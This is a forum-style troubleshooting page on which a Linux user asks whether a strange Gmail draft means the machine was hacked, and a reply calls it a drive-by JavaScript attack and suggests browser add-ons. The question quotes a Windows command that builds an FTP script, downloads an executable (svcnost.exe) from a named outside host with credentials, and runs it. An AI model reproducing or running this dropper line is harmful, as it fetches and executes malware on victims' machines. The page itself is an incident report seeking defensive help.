How to identify whether my Linux computer was hacked?
Problem
My home PC is usually on, but the monitor is off. This evening I came home from work and found what looks like a hack attempt: in my browser, my Gmail was open (that was me), but it was in compose mode with the following in the field: md /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit echo You got owned This looks like Windows command line code to me, and the start of the code combined with the fact that Gmail was in compose mode, makes it evident that someone tried to run a command. I'm guess I was lucky that I don't in fact run Windows on this PC, but I have others that do. This is the first time ever that something like this has happened to me. I'm not a Linux guru, and I wasn't running any other programs apart from Firefox at the time. I'm absolutely sure that I didn't write this, and nobody else was physically at my computer. Also, I have recently cha…
Error Output
TO
Unverified for your environment
Select your OS to check compatibility.
1 Fix
Fix for: How to identify whether my Linux computer was hacked?
I doubt you have anything to worry about. It was more than likely a JavaScript attack that tried to do a drive by download. If you are concerned about this happening start using NoScript and AdBlock Plus Firefox Add-Ons. Even visiting trustworthy sites you are not safe because they run JavaScript code from third-party advertisers that can be malicious. I grabbed it and ran it in a VM. It installed mirc and this is the status log... http://pastebin.com/Mn85akMk It is an automated attack that is …
Awaiting Verification
Be the first to verify this fix
Sign in to verify this fix